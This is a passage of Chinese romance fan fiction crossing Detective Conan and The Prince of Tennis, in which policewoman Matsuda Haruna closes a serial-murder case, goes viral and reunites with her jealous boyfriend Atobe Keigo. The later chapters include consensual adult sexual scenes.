等到松田春奈也从东大毕业,并且顺利考入警校,之后又以全校第一的资格,通过刑警选拔进入警视厅时。迹部景吾还没有结束他在全球当空中飞人的状态。 由于松田春奈之前就协助警方办理了不少案件,再加上她刚转正就迅速破了几个大案。所以她的晋升之路说是坐着火箭都不为过。 短短一年就实现了三级跳。 随着警衔的提高,她手下带得人越来越多,各种复杂的案例也接踵而至。 松田春奈开始比自己的亲哥他们还要忙。 光是这个月,松田阵平就在凌晨的一楼大厅处遇见过好几次自家妹妹了。 松田阵平看着她眼底的黑眼圈,以及变得削尖的下颌,皱眉道:“你最近是不是又没按时吃饭?” 松田春奈闭着眼灌了一大口咖啡:“大概吧,记不清了。” 松田阵平摸了摸她的额头,好在不烫。 “迹部那家伙不是每天都订外卖,让人给你按时送三餐吗,你没吃?” 乍一听到这个熟悉的名字,松田春奈还有些恍然。她看了眼手机,发现自己又忘记回他消息了。 自从她当了刑警,平日里没事还好。一旦接了案子,他的消息就只能凭缘分回了。 尤其最近这个连环杀人案,她忙得是日夜颠倒。每天恨不得睡在办公室,连回宿舍休息都觉得是浪费时间。 至于说按时吃饭,跟她更是没有丝毫关系。 作息一旦混乱,胃口就开始不按常理出牌,基本感觉不到饥饿。 迹部送得饭菜都是出自星级饭店,色香味自不用说。为了不浪费,她就算再不想吃,也会硬撑着吃上几口,也算是没有白费他的一顿心思。 “吃了点,但还是没什么胃口。”松田春奈把讯息点击发送之后,揉了揉太阳xue 。 松田阵平扫了眼她的状态,感觉她被一阵风就能吹走:“你今晚还有别的任务吗?” 松田春奈打了个哈欠,点开迹部秒回的消息:“还是在捋那个连环案的线索” 松田阵平打断道:“那你现在别捋了,赶紧回宿舍补觉去。明天我给你上司请个半天假,你调整一下状态再来上班。” “我反对!” “反对无效。” 松田春奈看出来他坚定的态度,有些焦急道:“可是这个连环案凶手的下一次作案时间就在三天之后了,我不能——” “我只知道——”松田阵平一字一句地看着她说道,“你现在要是再不去休息,不用等到三天之后,你就要提前去医院报道了。” “当初是谁给我耳提面命地说要照顾好自己的?怎么一轮到自己,就开始对自己的健康不管不顾了?” 松田春奈已经连着熬了将近两天,脑子一时没转过来,傻乎乎地问道:“哥哥,你谈恋爱了吗?真好,终于有人能管住你了” 松田阵平看着她憨憨地朝自己笑,顿时什么火都发不出来了,只能自己生闷气:“我真是上辈子欠你的。” 最终他还是拗不过松田春奈,陪着她一起回了办公室,兄妹两人一直捋到凌晨五点,这才算完。 “现在线索都齐了。”松田阵平把空了的咖啡罐扔到垃圾桶,“你赶紧回宿舍休息,别想耍赖。” 松田春奈确实也撑不住了,把证据打包发过去之后,就回宿舍了。 在此之后,松田阵平晚上只要有空,就会顺路来她们刑警这边看两眼,确认一下松田春奈的状态。 要是发现她加班加得狠了,还会亲自监督她回宿舍补眠。 对此,松田春奈的上级表示十分欢迎。 没办法,当你有个卷王下属,并且这个下属还会给你带来不少荣誉的时候,你也会发自内心地希望她好好的。 等到这个连环案也告破的时候,松田春奈终于成功引起了电视台方的注意。 无他,单纯是因为她的颜值在一众灰头土脸的警察当中,艳丽得实在是有些过于引人注目了。 虽说她也是素面朝天,但是连轴转的疲惫却丝毫没有损伤她的美,反而让她增添了一丝柔弱,让人不禁心生柔软。 记者盯着她的脸,默默反省自己是不是由于工作时间太长,以至于行业灵敏度变得过低。不然无法解释自己之前是怎么忽视掉这一神颜的。 在做案件陈述的时候,记者略过一众好不容易出趟外景的负责人,径直向她走过去,进行随机采访。 “松田警官,听说这起连环案,你是其中的主要负责人。这起案件之前一直以完美犯罪为噱头,请问你是如何从中找到破案线索的呢?” 松田春奈看着怼到自己眼前的话筒,和远处对自己微微点头示意的领导,只得做起了临时发言人,声音沙哑地和这位记者说了好久才算完。 在结束之前,记者忍不住问道:“松田桑,你的外表看起来很柔弱,请问你是怎么——” 这位记者还没问完,一个足球就从远处呼啸着飞了过来。 松田春奈反应迅速,立即把记者护到身后。然后面带微笑,一个飞踢将这个意外闯入镜头的足球给踢爆了。 “砰”地一声。 足球瞬间变成了两半,而后垂直地落在地上。 一股无言的沉默在镜头前流淌。 就算是身经百战,见多识广的摄影师,在看到足球被踢爆的时候,扛着镜头的手也忍不住颤抖了一下。 在场众人纷纷变了脸色。 有人是庆幸自己没有说出不该说的话。 而松田春奈则是拿不准这次的意外是否可以报销。 毕竟那颗足球可是工藤新一那家伙的,谁知道那上面有没有什么足球明星的签名 她的视力还算不错,在踢的时候就发现了上面的定制图案。但就算想要收力,也已经无力回天了。 工藤新一气喘吁吁地跑过来,嘴角抽搐地看着自己刚买的最新联名款足球:“春奈姐,这可是我刚买的——” 这位姐姐当了刑警之后,简直比之前变得更加暴力了。 以前她多少还能收敛点自己的暴力因子。自打变成正规军以后,可谓是潜龙入海,终于能找到发挥她个人潜质的地方了。 “没办法,我这也算是保护公民的人身安全。”松田春奈面不改色地说道,“工藤,你得好好提高一下自己的足球水平了。” “没错,新一。”毛利兰紧跟其后地应和道,“要不是你把球给一脚踢飞,春奈姐也不会把它踢爆的。” 工藤新一:“” 他在心里默念,又来了。 每次只要一碰到这位学姐,兰总是站在她那边。还真是让人无力的现实。 “关键是,正常人也不会一脚把足球给.踢.爆.吧!”工藤新一努力地为自己陈辩道。 “新一!你怎么可以这样说学姐!”毛利兰像是为自己爱豆据理力争的铁杆粉丝。 “照你这么说的话,我要是也能把足球踢爆,那代表我也不是正常人了吗?!” 在场众人:“ ” 现在的小姑娘真是不得了,身手和长相一样漂亮哈。 工藤新一想到那些年被自家青梅踢得凹进去的电线杆们,干脆利落地认输:“确实是我的问题。” “工藤,你等我一下。”松田春奈也不打算占他的便宜,悄声说道,“我看看能不能和领导申请到补贴。要是可以的话,你的新足球我包了。” 与此同时,那位记者也弱弱地说道:“这位同学,刚刚松田警官是因为保护我才踢爆了你的足球。所以,这个足球我会原价赔偿给你的。” 松田春奈大手一挥:“那咱俩AA。” 补贴在几天之后就打在了她的卡上。和补贴一起到来的,还有领导体恤她而特意批的休假。 也许是看在松田春奈最近工作很出彩的份上,上级直接给了她满格的补贴。她喜滋滋地看着银行卡里的数字,乐得牙不见眼。 松田阵平对于她的补贴倒是没什么感想,但对她的五天休假却很是羡慕。 松田春奈闻言,收起了咧着的嘴角:“要是羡慕的话,也让一大堆记者在警视厅门口蹲点采访你好了。” 松田阵平想了想那个阵势,抖了抖肩:“那还是算了吧。” “真搞不懂,那些人怎么就那么闲!”松田春奈无聊道。 任谁也没想到,那段采访在电视上出现之后,就立即火遍全网。各大电视台和杂志纷纷对她伸出了橄榄枝,想要邀请她。 在松田春奈一视同仁地拉黑屏蔽以后,不甘心地众人又来到了警视厅附近蹲守。 上级领导一商量,让她直接回家休息几天。等到这阵热度过去以后,再回去上班。 松田春奈上班以后,很久没有享受到这么长时间的假期。 “松田火了!”忍足侑士给迹部景吾传着小道消息:“你要是再不回来,小心迟早被甩。” 迹部景吾坐在机场贵宾室的沙发上,看着手机上播放过无数次的视频。 明明每天都有让人给她按时送饭,怎么还是喂不胖。 听到机场广播的声音,他向舱内走去。在手机关机前,发送了最后一条消息。 “春奈,我要回来了。” 作者有话说: 感谢在2024-07-03 23:55:34~2024-07-10 23:53:31期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:危险的爱5瓶;honeyting 4瓶;柠檬1瓶; 非常感谢大家对我的支持,我会继续努力的! 第54章 松田春奈收到迹部景吾这条回国消息的时候,正在警视厅的内网上摸鱼,搜集各种不同类型的报告模板,打算在下班之前把积攒已久的书面文件给一口气赶出来。 毕竟这次领导难得大方,看在她实在辛苦的份上,直接批了她五天的小长假。 假期的安排她都已经提前规划好了,手写报告这项是肯定被排除在外的。 同事看她皱着眉头,一脸的苦大仇深,劝道:“春奈,别忙了,赶紧回家歇歇吧。报告什么的在家里写也是一样的。” 松田春奈对自己的拖延症很是了解,肯定道:“这些报告我要是今天不提前写完的话,就只能等到最后一天熬夜赶了……” 同事瞟了一眼她桌子上要补的厚厚一摞文件,倒吸了一口凉气。只能在精神上给予她一点鼓励。 “加油,祝你今天在凌晨之前下班。” “借你吉言。” 松田阵平慢悠悠地走了过来,站没站相地靠在她的桌子前,好奇道:“你又给目暮警官灌了什么鸡汤,他刚刚看见我怎么一副…奇奇怪怪的样子?” “就…向领导表达了一下我对这份工作的热爱…顺便说了些我爱工作,工作爱我,以及轻伤不下火线的这种话而已…” “就这?”松田阵平斜眼看她,“真没想到,他还真信了你的这幅说辞。怪不得直接把我拦在半路,慷慨激昂地夸了你半天。还说什么虎兄无犬妹…” 松田春奈叉腰瞪他,中气十足地说道:“怎么?我说得哪里不对吗?” “我可没有这么说。”松田阵平举双手投降道,“我还以为你今天之所以打算加班,是因为提前看了食堂的菜单。” “那个猪扒饭你已经夸了八百遍了,零他们都会做了。” 被戳中心思的松田春奈登时矮了一截,心虚道:“……也,也不排除这个因素在。” 而后又理直气壮地回道:“反正论迹不论心,最后的结果都是一样的。” 松田阵平说不过她。 他低头看着她凌乱的桌面,有些不忍直视:“这种类型的报告你之前不是写过吗?怎么又要找模板?” 松田春奈一脸郁闷:“别提了,今天出门太急,搞得我u盘忘带了。不然我也不用哼哧哼哧在网上现找了。” 她抬头看了一眼时间,立刻起身道:“算了,还是先去吃饭吧,去晚了猪扒饭就不热了,好吃程度会直线下降。” “那就太糟蹋粮食了。” 松田阵平本就是来找她搭伙吃饭的,顺从地和她去了食堂。 “啊!太好吃了。这头猪真的是死得其所。”松田春奈边吃边感叹道。 松田阵平低头猛炫,根本来不及跟她回话。眨眼间,就吃完了一份。 然后又起身,神态自若地去打了第二份回来。 松田春奈看着他仿佛无底洞一般的身体,吐槽道:“无论和你一起吃多少次饭,都会被你这种大猩猩体质震惊到。” “除了我之外,这种大猩猩体质的人还有四个。”稍微有点饱腹感的松田阵平喝了口汤,放缓进食速度回复道。 “放心,我会把你的这句吐槽转达给剩下的四人的。” 说着,他咧嘴一笑,牙齿白得足可以代言牙膏广告。 “真是有够幼稚!”松田春奈小声嘟囔道。 松田阵平吃完第二份之后,干脆把自家妹妹当成了现成的吃播。 只见她一口一口吃得认真,腮帮子一鼓一鼓地,像只积极进食的仓鼠。 他在脑海中对比了下她一个月之前的状态,明显觉得她现在比之前健康许多,一股成就感顿时涌上心头。 果然,养妹妹什么的,还是得靠他才行。 他向后一仰,满足道:“多亏我最近监督你按时吃饭,看你气色都比以前好多了。” 松田春奈眼见着他莫名陷入老父亲的角色之中,明智地对此不参与任何评论。 一旦她哪里说得不合他的心意,那这顿饭自己的耳朵算是遭殃了。 “我看最近这几天迹部也没让人给你送饭了。”松田阵平凑过来小声问她,“你们俩这是——” “终于分了?” 说着,他靠在一起的双手做出从中断开的姿势。眼睛亮得堪比高瓦数的灯泡。 松田春奈把嘴里的食物咽下去之后,言简意赅地回道:“没分。” 灯泡立即不亮了。 松田阵平沉默了一会儿,撩起眼皮,没事找事道:“既然没分,那他怎么不给你送饭了?追到手之后就变幅嘴脸是吧。” “哥早就跟你说过——男的,没有一个好东西!” 他的语气铿锵有力,如同在进行入职前的宣誓环节。 “你……”松田春奈呛了一下,“你之前说这种话的时候,还会把自己和其他亲友给摘出来。现在倒好,直接全体扫射了是吧?” “我相信,我的那些亲友会对我的无差别扫射十分赞同。” “赞不赞同地先放一边,”松田春奈把猪扒咽下去,认真解释道,“你最近不是每天都来监督我去食堂吃饭嘛。这样一来,就没必要再让人来给我送饭了。” “而且,这件事还是我跟景吾提议的。” 说着,她突然想到刚刚男朋友的消息还没回,顺手拿出手机。 “从你入职开始,那家伙就每天大张旗鼓地让人给你送饭。生怕有人不知道你有男朋友似的,心眼太多了,简直就是一肚子坏水。 松田阵平一直对此颇有微词,一点也不像自己这么低调沉稳。 松田春奈朝他娇憨一笑,试图把这个话题糊弄过去。 她其实也知道自家男朋友的用意。 但那个时候,两人长期处于异地恋。虽然每周他都会飞回来和她相聚,但时间久了,她也能感到迹部内心深处隐隐的不安。 具体表现在两人私下相处的时候,他就像个挂件一样,必须要时时黏在她身边才行。 这个症状在两人的学生时期还能强点。毕竟再怎么说,那个时候大家不但能按时见面,并且还能时不时地视个频。 等到毕业之后,不仅是他需要经常飞去世界各地谈合作,她忙起来更是日夜颠倒,作息混乱。两人每周一见的约定也就暂时搁置了。 可以说,松田春奈刚进入警视厅工作的时候,是迹部景吾对这段恋情最没有安全感的时候。 她到现在都还记得,当他发现自己的同组同事之一是濑户凉太时候的表情。 明明想礼节性地露出个社交笑容,整个人却阴沉沉地,像是蒙了一层罩子。 在这个曾经追过她,并且还是她大学校友兼警校同学的面前,迹部的攻击性总是显得很强。 在松田春奈正式上班的前一天,迹部景吾特意从欧洲飞回来见她。 两人满打满算呆了也就不到20小时,他就又要搭专机去北美谈项目。 上班那天,松田春奈哪怕再热,也不敢做大幅度活动。生怕那些掩藏在自己衬衫下面的吻痕,会一不小心就暴露出来。 领口下,袖口处,还有脚踝上。 都是他特意选的位置。 “这里不行。”是她昨天说得最多的一句话。 而“放心,绝对不会露出来。”则是她昨天听得最多的一句话。 曾经在球场上运用过的绝佳动态视力,正适合让醋气冲天的他,肆无忌惮地做一些“擦边”的事。 就像他的吻,恰好擦着她制服的边。 又或是他的占有欲,恰好擦着她将将能忍受的边。 所以,在他以担心自己饮食不规律为借口,提出让人每天来给她送饭的时候。 松田春奈低头看了眼袖口处还未消失的暗红痕迹,也就点头同意了。 松田阵平念叨半天,发现妹妹又在走神,很是不满:“你到底听没听进去啊?” 这么多年过去,松田春奈早已养成选择性对他的话左耳进,右耳出的状态。 她一边给迹部景吾回消息,一边安抚着他:“我还有好几个案子的总结没写,哥你要是闲得话,下午就过来帮我写几个。” 松田阵平知道她前一阵忙得跟个陀螺似的,一直没怎么休息。好不容易案子办妥了,才能多喘两口气。 之前盯着她吃饭也是看她瘦得实在太过了,这才出手干预一下。 好端端一个健康的亲妹妹,眼看着就要羽化飞仙了可还行。 本来今天他过来找她吃饭,也是抱着把她的书面报告揽过来,让她赶紧回家歇歇的心思。 虽然心里是那么想的,但他面上却还是做出一副“便宜你了”的表情。 他双手抱胸,斜睨着她说道:“你说让我帮你我就帮你,那我多没面子。” 他的目光落在松田春奈身上,看着她头顶小巧的发旋,忽然觉得自己的手在餐桌下有些蠢蠢欲动。 好久没捏她的脸了。 之前她瘦成瓜子脸的时候,光顾着去照顾她了,根本没心思往这方面想。 眼看着最近养回来了点,好想捏下试试。 松田阵平刚要开口提要求,松田春奈头也不抬地一边专心干饭,一边开口道:“我记得你那辆马自达最近要保养了吧。” 她确实也累得不轻,懒得跟他绕弯子:“这次保养费我出。” 这次的连环案奖金数目不小,再加上之前他有空就过来帮自己整理卷宗,着实出了不少力。 没有他在旁边辅助,自己光是整理那一堆东西也得耗上不少时间。 松田阵平双眼瞪大,呼吸急促:“!” 捏脸哪有省钱香! 等自己以后多过来找机会帮帮忙,总能有一天捏到的。 他迅速握住她的手,晃了两下:“成交!你的报告我全包了!” 松田阵平笑得牙不见眼,多年工作的精英范儿瞬间消失,浑身上下都透着一股憨劲。 简直赚大发了! “全包?你确定?”松田春奈提醒他道,“我起码得补三个案子的文件。” 松田阵平:“我到时候多薅几个人一起写就成。” 两人一对眼,各自都觉得自己是占了大便宜。 松田春奈三下五除二地吃完了饭,把需要补得报告直接搬到了松田阵平的办公桌上。 爆炸物处理班的警员正好今天比较空闲。 萩原研二刚出完任务回来,整个人湿淋淋地,像是从水里捞出来一样。 “春奈妹妹,真是好久不见了。”也许是太久没说话了,他的嗓音有些滞涩。 “小阵平最近很担心你,今天上班还说要把你的报告直接包圆来着——” “咳咳!”松田阵平听前半句话的时候还在连连点头,等到发现自己又一次被竹马给掀老底之后,也已经来不及给他使眼色了。 “哦——”松田春奈闻言,笑成了一朵向日葵,“花盘”直面松田阵平,“原来有人早就想帮我写材料了……” “你可是说好了要给我的马自达做保养,别想赖掉。” 松田阵平一边向萩原研二发射死鱼眼光波,一边努力维持哥哥的尊严。 萩原研二闻言,立即出声道:“春奈妹妹,下次如果还有这种活动的话,记得叫上我一起。” “我能把你一年的报告都包圆了!” 说着,他起身站到窗边,看向自己停在院子里的爱车:“嚯,这辆阿斯顿马丁可真够帅的。” 松田阵平头也不抬地说道:“看叉了吧你,咱们警视厅哪有开这款车的。” “车没停在院里,在院墙外面呆着呢——” 像是感觉到了什么,松田春奈福至心灵地看了眼手机。 果然,迹部的消息传了过来。 “没关系,我在外面等你下班。” 她的心像是被雨水淋湿过一样,柔软又潮湿。 从他给自己发消息说要回国开始,到他现在出现在警视厅门口。 除去中间坐飞机的时间,剩下的时间可能都不够他回家收拾打理自己的。 一想到他连轴转了那么久,又直接从机场风尘仆仆赶过来陪自己。 松田春奈忍不住飞奔下楼,连东西也来不及收拾:“哥,研二哥,我有事先出去一下。” 想见面的心情愈来愈烈,她不想浪费任何一点时间。电梯也不等了,直接从楼梯上三步并作两步滑下去。 奔跑中带起的风,扬起了她的发丝。 迹部景吾坐在车里看着这一幕,有些恍惚。 这和之前她向自己奔来的场景渐渐重叠。 松田春奈拉开车门,化作一团轻盈的棉絮,扑在他的怀里。 “你竟然还有时间回家洗澡吗?” 闻着他衣服上熟悉的玫瑰香气,她看着他还带着潮气的头发,震惊道:“我以为你是直接从机场过来的。” “就是直接从机场过来的。”迹部景吾牢牢地抱着她,感觉自己的心终于安稳了,“我是在飞机上洗漱的。” 松田春奈抬头看他:“就这么想见我啊?” “嗯。很想。” “一刻也不想等。” 松田春奈蹭蹭他,小声道:“我也是。” 第55章 迹部景吾将头倚靠在松田春奈的颈窝处,深深地吸了一口气。 像是出差多日,归家后终于如愿以偿吸到猫的人类。 松田春奈看他只是抱着自己,也不说话,知道他是累得狠了。 “我刚得了五天假。”她轻轻地开口,“你这次回国能呆多久?” 迹部景吾玩着她落在肩头的秀发,懒洋洋地说道:“我在国外的任期已经提前结束,接下来就一直在国内工作了。” 为了加码自己在公司的话语权,早日结束海外工作,回国与女友团聚。他前段时间一连完成三个大型合同,为他本就优秀的履历上又增添了几笔高光。 在董事大会上获得全票通过,顺利提前调入国内任职。 松田春奈回想起她曾经瞥过的财经新闻,好像是有这么一条消息。说是某上市公司继承人年轻有为,马上要归国任职云云。 但当时她只是匆匆扫过,压根没和他对上号。 “国外的房子太空旷了。”迹部景吾小声抱怨道。 松田春奈疑惑道:“不是有管家他们陪着你吗?” “不一样的。” 他顿了几秒,双臂紧紧地箍住她的腰,把头埋得更深了。 怎么会一样呢? 只有在她身边,自己才会全然的放松下来,不用时刻绷紧神经。 松田春奈被他湿润的呼吸弄得有些痒,身体不自觉地颤了一下,想要换个姿势。 无奈这位靠在自己身上的大型犬,提前察觉到了她的意图。瞬间从西装革履的精英,变成了幼稚鬼,如同黏牙的牛轧糖,牢牢地把自己镶嵌在她的身上。 “景吾,你变了。”松田春奈抬手捏捏他的脸,幽幽控诉道,“再也不是以前那个——” 话还没说完,她的呼吸骤然急促起来,放在他脸颊上的手也不自觉地变得用力。 迹部景吾低嗯一声,也不反驳。 直接侧过头,从她的颈窝处一点一点啜吻上去。 若有似无的,却让人忍不住心跳加速。 他的语气含糊粘腻,像是在手上化开来不及吃的冰淇淋:“宝宝,继续说,我还有哪里变了。” 他故意贴着松田春奈的耳廓,明目张胆地勾.引她。 醇厚磁性的嗓音从松田春奈的头骨处传来,震得她心底浮现出弥久不散的涟漪。 不再是隔着一层手机屏幕的距离。她现在能确切地感受到自己正被人亲密地拥在怀里。 到底是太久没有见面,思念的后遗症也会出现在身体上。 迹部景吾看出来她有些松动,于是得寸进尺地吻上了她的唇角,轻柔地舔舐。 “属狗的你。” “我属于你。” 松田春奈被伺候得舒服极了,像是泡在热水里,整个人晕乎乎的。连下来到底是做什么的也忘记了。 她的眼睛微阖,手也渐渐从他的脸上滑下来。 下一秒又被他放了回去。 迹部景吾看着她:“刚刚的力度不足以让我停下,只会让我更加兴奋。” 他明明穿得一副绅士做派,嘴上却说着下.流的情话。反差带来的感觉让松田春奈喉咙有些发紧。 “想让我停下来的话,需要更加用力才行。” 松田春奈想起还在楼上的哥哥,以及没来得及收拾的工位,思维终于归位。 她顺了他的意,用了点力道,这才脱身。 她打开车里的镜子,单手拉开衣领,扬起脖子,仔细查看。 迹部景吾默默地坐过来,伺机讨赏。 “宝宝你放心,我现在知道什么力度不会让你留下印子。”他语气骄傲,“肯定不会故意让你在同事面前难堪的。” 松田春奈把扣子系好:“我上去收拾一下东西,很快就下来。” 迹部景吾顺从地点头。 他把车窗降下来,调整着呼吸,让自己尽力平复。 松田春奈看了眼手机,发现松田阵平刚给她发了消息。 “本来打算给你把包送下去,走到一半正好碰到濑户,他自告奋勇要给你跑腿。 PS这俩人谁当我妹夫我都有意见。” 松田春奈暗暗咬牙。本来迹部就对濑户凉太不爽,两人见面的话估计又是大型修罗场。 她回头看着迹部景吾脸上隐约的掌印,快速说道:“景吾你把窗户升上去吧。我同事马上就帮我把包送下来了。” 接着又开始在车里翻箱倒柜:“我记得你之前会在车里放面霜来着” “在右边的第一个抽屉里。” 松田春奈毫不犹豫地挖出一大块,然后在掌心搓开,示意他靠过来。 迹部景吾就着她之前拉开的镜子照了照,笑得意味深长。 他故意把有痕迹的那面往她跟前凑,说得暧昧极了:“宝宝,其实不用给我擦的,我一定老老实实地呆在车里,任谁也发现不了我们刚刚做了什么。” 松田春奈轻咳:“你赶紧把嘴巴闭上,不然小心把面霜吃进去。” 她不惜力气,大力地给他涂完面霜之后。他的脸也从单侧轻微泛红,变成了明显的全脸涨红。确保不会被看出来掌印后,她这才松了口气。 迹部眨了眨眼,指指嘴巴:“嗯嗯嗯?” 松田春奈点点头,满意道:“现在可以说话了。” 他看着镜子中的自己,遗憾道:“可惜了。” 松田春奈担心他又要说出什么虎狼之语,干脆下车去吹吹风,让自己冷静。 濑户凉太拿着她的包匆匆跑过来,制服让本就他高大的身材显得更加颀长健硕。 “春奈部长,这是松田前辈让我给你的包。” 大概是跑得有些急,濑户凉太往日温和的声线里带着些微的喘,有种不经意的性感。 松田春奈对于迹部的醋劲深有了解,为了避免不必要的麻烦,她打算三两句就结束寒暄。 “春奈部长,这次的连环案多亏你解决地漂亮,我们才能跟着发奖金。” 奇怪。松田春奈在心里腹诽。 濑户这家伙明明平时很有眼色的,怎么偏偏这次话这么多。 担心迹部微薄的耐心可能支撑不了多久,她应和道:“我是你们的直属上司,这都是应该做的。” “我听松田前辈说,春奈你的报告还有一些没赶完,剩下的就全交给我吧。” 听到这儿,松田春奈顿时精神起来:“那怎么好意思。我让我哥帮我写,那可是给了酬金的。” 她有些踌躇。 自己的亲哥自己疼。她余下的报告数量自己有数,要是都让松田阵平写,多多少少还是有点于心不忍的。不然她也不能直接使用金钱大法。 但如果有人愿意分担的话,那就不一样了。 濑户凉太看着她黑亮的眼睛,自然知道那是对自己的提议表示心动的意思。 “酬金其实你已经给过我了。”他无视那个开了一条小缝的车窗,以退为进道,“目暮警官这次也给我放了假。” “干咱们这行的,假期就是最好的酬金了。” 很好,这次不但车窗降下来了,他还能感受到有人在死死地盯着他。 “那怎么行。”松田春奈立刻说道,“既然你也休假的话,那不如——” “不如,我们一起请濑户君吃顿饭好了。”迹部景吾顶着那张泛红的脸下车说道。 他的脸上虽然端着社交性的微笑,但内心深处却已是忍无可忍。 他当然知道有自己在,眼前这家伙绝不会入了女友的眼。 但苍蝇一直在眼前乱飞,哪怕你知道它不会咬人,也会让人心里膈应。 濑户凉太的目光落在迹部的脸上,过了几秒后,慢慢开口道:“不必了。” 松田春奈顺着他的目光看过去,莫名的有些心虚。好在自己当时的力度轻,事后也补救的及时,现在也看不出什么了。 “下次我有报告要赶的时候,你再帮我也一样。” 松田春奈自然点头说好。 这回濑户凉太在跟她说完话后,终于没再多说什么,干脆利落地转身就回去了。 回去的路上,松田春奈总觉得不自在。 具体体现在虽然迹部还是照常在和她聊天,但就是有种在强装淡定的意味。 刑警的职业病让她习惯于直面问题,直球道:“上次濑户对我告白之后,我就拒绝了。他也很有分寸感——” 那家伙有个屁的分寸感! 迹部景吾自己就是男人,他太清楚他望向自己的眼神里都包含着些什么。 是明晃晃的挑衅,以及对他们恋情早晚要黄的不看好。 他缓缓吐出一口气,告诫自己不要着了他的道。 “春奈,我相信你。”他的手用力握住方向盘,手背上的青筋崩得很明显。 “可是你在不开心。” 迹部把那是因为他对你还不死心这句话咽下去。 手下败将而已,不值得提醒她那家伙对她还另有心思,就这么把他安在同事的位置上就好。 迹部景吾调整好表情,泪痣在阳光下闪闪发光:“那回去的时候你哄哄我就好。” 他刚恢复正常的脸色又有了变红的趋势,喉结上下滚动。 “你知道的,我很好哄的。” 回家路上的最后一个红灯。 他把她的手拉到自己大腿上,反复抚摸。从指腹开始,慢慢揉捏到指骨,再到掌心。 周而复始,循环往复。 车内的空气渐渐变得粘稠,身旁人的呼吸声也开始粗重起来。 松田春奈看了眼红灯的长度。 “认真开车。”她掐了下他。 不过她绯红的脸颊,和雾蒙蒙的眼神却没有什么说服力。 月牙形的指甲印在他的皮肤上转瞬即逝。 迹部景吾轻笑:“春奈,我说过的。” 他的声音低沉深邃,在本就安静的车里显得格外好听。 “你这种力度只会让我更加兴奋。” * 东京最顶级的奢华公寓就坐落在市中心A楼的54-64层,住在这里的业主可以说是非富即贵。 公寓建设之时,很贴心地给每位业主都设计了独立的私人车库。从车库出来,直接乘坐私人电梯就能到达各自的住处。 松田春奈以前还不懂,这样的设计到底有什么用。 直到今天—— 她跨.坐在迹部的身上,纤腰被他的大手紧紧地桎梏住,整个人因为长时间的接吻而呼吸急促。睫毛处甚至溢出了水珠,将眼睫打湿,沾成了一簇一簇。 迹部景吾见状,开始放慢节奏,让她调整呼吸。但唇舌仍不肯离开,只是轻柔地舔.咬,在她的下巴上留下一串湿漉漉的水印。 “宝宝,休息好了吗?” 他的双手一前一后地移到她的后背,轻轻摩挲。 松田春奈最近疏于锻炼,根本禁受不住他这么凶狠的吻。像是要把她拆吃入腹。 “没有。”她答得迅速。 生怕他又追着自己啃,如同失去理智的怪兽。 迹部的喉咙深处溢出一声笑:“宝宝是个小骗子。” 作为曾经的顶级运动员,他只要看一眼,就知道她能承受的底线在哪里。 他用牙齿解开她的衬衣扣子,把脸埋过去。从锁骨处慢慢往下,一点一点地吻。 “之前你在车里系扣子的时候,我就已经想好要这么做了。”他不紧不慢地说道。 不知是亲到了哪里,松田春奈突然抓紧他的外套,贝齿咬住下唇。 她的腰不自觉地向后仰,像一张漂亮的弓。 这正好便宜了他。 迹部毫不客气,俯身享用起雪顶上的红梅。 比最顶级的甜品还要美味。 “要是想让我停下的话。”他把她的手复又贴上自己的脸庞,“这次记得要用点力。” 他的鼻尖渗出了汗,眼尾烫得发红:“否则,我可不会轻易就结束。” 松田春奈自上而下地俯视着他,有种掌控全局的爽.感。 领带被他随手扯开,要掉不掉。 衬衫的扣子崩开了几颗,正好能让她看到他肌肉贲张的身材。 冰冷的腰带膈到了她,转瞬就被他抽出去。 明明是带着粗鲁的亲密,她的身体深处却生出了更多的渴望。 情到浓处时,两人身体的各处关节似乎都碰撞在了一起。 真是应了那句,你中有我,我中有你的老话。 这辆阿斯顿马丁在偌大的车库里晃了很久。 结束的时候,车窗上的掌印,比之前人脸上的还要明显。 作者有话说: 天冷了,小情侣适合谈点热情的恋爱。 第56章 胡闹了一下午,等到吃晚饭的时候,松田春奈早已累得不行,连胳膊也不想抬。 她把自己埋到被子深处,自动屏蔽迹部叫她起来吃饭的声音。 “我不吃了。” 被子里的声音有些模糊,还带着点娇气。 迹部景吾掀开她的被子,只见她粉白的脸上蒸腾着红晕,嘴里还在嘟囔着听不清的话。 整个人如同雪白的豆包,蓬松又柔软。 他把那些恼人的发丝捋到一旁,只觉得她哪哪都合自己心意。 凑过去在她闭眼假寐的眼皮上轻轻一吻。 松田春奈以为自己撒娇大法终于生效,兴奋地睁开眼睛,语气里的雀跃根本隐藏不住。 “你同意我——” “不可以。”迹部景吾答得很干脆。 他单膝跪在床沿,俯身向下,把她连人带被子一起抱住,往自己的怀里放。 “你之前的体检报告上显示,胃里已经有了溃疡点。以后每天都必须要按时吃饭才可以。” 松田春奈觉得自己现在的造型和蚕蛹无异,干脆放弃挣扎,老老实实地依偎在他胸膛上。 “不过……明明是我的体检报告,你是怎么知道的?”她顺口问道。 迹部景吾淡笑不语。 松田春奈的思维仿佛还飘在空中,愣了几秒才发现自己问了个傻问题。 回想了下体检的医院名字,她哼哼两声,在他身上滚了一圈,伸手去够床头柜上的手机。 “是不是忍足偷偷给你打我的小报告了?” 她鼓起脸颊,看起来有些不高兴,用力地戳着手机屏幕,打字声啪啪作响。 “终于被我逮到他的小辫子了,我要投诉他随意泄露病患隐私!” 迹部景吾瞥到他们有来有往的聊天记录,神色一顿,缓缓开口道:“不是他告诉我的。” “这还差不多。”松田春奈这下高兴了,嘴角又重新挂上了笑。 她把对话框里已经打到一半的长篇大论点了删除,手机扔到一边,点评道:“算他还有点职业道德。” 她也懒得去问到底是谁告诉他的,反正只要他想知道,有的是法子。 但这人绝不能是像忍足这种他们俩的共同好友干得。不然她会觉得心里不舒服。 插科打诨了几句,松田春奈这才觉得饿劲上来,但还是懒懒散散地不想动弹,只一味地在他的胸肌上摊着,像是一块开始融化的黄油。 屋子里的恒温空调虽然度数合适,但是盖着被子躺久了也热。她把手脚都从被子里拿出来,整个人越摊越大。 “还是不想动?”迹部景吾随手把室内温度调低了几度,“那我抱你过去喂你吃,全程不用你出一分力。” 松田春奈“嗯”了一声,而后又睨了他一眼:“这后半句话,我听着怎么这么耳熟。” 得到准许的迹部景吾直接上手,把她从被子里挖出来:“除了在车里的那次你出了点力以外,剩下的这几次不都是我在卖力吗?” 松田春奈哑然。 他这么说确实也没错。 